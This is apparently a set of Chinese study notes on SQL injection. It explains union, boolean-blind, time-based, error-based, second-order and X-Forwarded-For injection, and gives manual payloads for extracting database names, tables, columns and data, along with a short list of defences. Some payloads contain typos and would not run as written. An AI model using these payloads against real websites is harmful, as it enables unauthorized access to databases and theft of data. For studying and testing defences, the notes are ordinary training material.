SQL注入的原理:
SQL注入的原理就是,用户输入字符向数据库请求数据时,对于输入的数据没有严格的过滤或者过滤不全,导致我们可以构造恶意SQL代码,直接在数据库执行查询。
SQL的类型有哪些:
从注入方法来看,常见的有 联合查询、布尔盲注、延时注入、报错注入、二次注入
其他的还有 宽字节、堆叠、搜索
避免SQL注入:
- 预编译
- 正则表达式过滤
- 字符串过滤
- 转码转译
联合查询注入:
联合注入是有回显的一种注入方式,手工注入的时候它每一步会在页面上显示,比较直观。
判断联合注入的时候,首先判断 注入点、注入类型、字段数、看回显
-
数字型判断:
过程:判断注入点,加单引号 ’ 报错看回显 ‘’
加上 ’ and 1=1 正常执行
加上 ’ and 1=2 页面无数据,但不报错
确定是数字型:
语句:SELECT * FROM USER WHERE id='11 ' AND 1=1 #
-
字符型:
过程:判断注入点,加单引号 ’ 看报错信息 ‘’’
加上" and1=1 #页面正常,可以闭合
确定类型后,成功闭合后,查询字段数
闭合后+ order by 1 #
报错的前一个数就是字段数
构造语句查询数据库和表
' union select database() , version() #
暴库,爆表,爆字段,爆数据
布尔盲注属于无回显的一种注入方式:
原理:因为开发关闭了服务器报错回显信息,我们看不到报错信息,然后猜数据
只能通过页面变化看语句能不能正常执行
或者是通过延时看否成功
- 手工测试:
1、确定注入点后,加单引号,页面没信息,加单引号并且注释后,页面正常
闭合成功
’ and 1=1 没信息 | ’ and 1=1 --+ 有信息 | ’ and 1=2 --+ 没信息
存在布尔盲注
2、猜数据库长度:
?id = 1 ’ and (length(database()))>1 --+
直到页面报错前一位
3、猜数据库名:
?id = 1 ’ and ascii(substr(database(),1,1))>100–+
A-Z (65-90) a-z (97-122)
可以使用二分法,一位一位猜,直到全成功
4、猜表名
?id=1’ and (ascii (substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 --+
二分法直到报错前一位
5、猜字段名
?id = 1’ and (ascii(substr((select column_name from infromation_schema.columns
where table_name=‘users’ limit 1,1),1,1)))>50 –
6、猜数据
?id = 1’ and (ascii(substr((select id users limit 0,1),1,1)))>80–+
延时注入-盲注的一种
原理:通过构造延迟注入语句,查看页面响应时间来判断
应用场景,页面一直没变化,看不出来变化的时候,可以构造
and sleep(5)
响应时间会延迟响应5s
延时注入会用到布尔盲注的所有函数 length(),substr()、ascill() 函数
if函数 | select if (1= 1 , 1 , 2 ) | 1=1 TRUE返回 1 , FALSE返回 2
| select if (1= 2, 1 , 2 ) | 1=2 TRUE返回 1 , FALSE返回 2
sleep函数 | select sleep (5) ; | row in set (5.00 sec) 延时返回 5 s
1、查询数据库长度:
|?id=1 and if ((length=1),sleep(5),1) --+ 如果长度为1 延时5s
2、猜数据库名:
|?id=1 and if ((ascill(substr(datasase(),1,1))=100),sleep(5),1) --+
3、猜表名:
|?id=1 and if ((ascill(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=100),sleep(5),1)–+
4、猜字段名:
|?id=1 and if ((ascill(substr(select column_name from infromation_schema.columns where table_name=‘users’ limit 1,1)=100),sleep(5),1)–+
5、猜数据名:
|?id=1 and if ((ascii(substr((select id users limit 0,1)=100),sleep(5),1)–+
报错注入:
原理:利用数据库本身特性,利用函数爆出需要的信息,
函数:updataxml()、extractvalue()、floor()、exp()
| ?id =1 and updataxml(1,concat(0x7e,database(),0x7e),1) --+
updataxml 参数1:xml文档对象的名称 参数2:xpath格式的字符串 参数3:替换符合条件的数据
| ?id=1‘ and extractvalue(1,concat(0x7e,database()))
通过使用count()、floor()、rand()、group by四个条件形成主键重复的错误。其中:
|?id=-1‘ and (select 1 from (select count(*),concat(database(), floor(rand(0)2))x from information_schema.tables group by x)a)
floor(x):对参数x向下取整,比如floor(0.2)=0,floor(3.6)=3。
rand( ):生成一个0~1之间的随机浮点数。
count(*):统计某个表下总共有多少条记录。
group by x:按照(by)一定的规则(x)进行分组。
二次注入:
在第一次进行数据库插入的时候,借助特殊字符进行转译,但是插入到数据库中是转译后
的结果,一般使用 ’ 单引号,或者 # 拼接到数据库中,因为数据库对自己本身数据信任,没有过滤,
或者过滤不足,从而在第二次查询数据的时候被恶意引用拼接。导致数据泄露。
二次注入使用
在第一次向数据库插入数据的时候数据中的特殊字符会被函数进行转译但是转译后的插入到数据库中的。
数据还是原始数据
常见的函数,有:
addslashes、get_magic_quotes、mysql_escape_string、mysql_real_escape_sring
等函数对其中的特殊字符进行转译
因为第一次插入得数据使我们故意构造的,常见的构造有单引号 ’ 或者 # ,再次读取它构造SQL代码就会
完成恶意代码构造,拼凑成功行成二次注入。
XXF注入:
HTTP Header中存在X-Forwarded-for参数的调用
原理:XFF,是X-Forwarded-for的缩写,XFF注入是SQL注入的一种
该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
hosts IP域名映射文件
当X-Forwarded-For值为*,意味着也可以用类似的sql注入语句代替*。
1、单引号测试,当 X-Forwarded-For:127.0.0.1’ 时:报错
2、可以构造报错注入 X-Forwarded-For:127.0.0.1’,updatexml(1,concat(0x7e,(select user()) ,0x7e),1)) #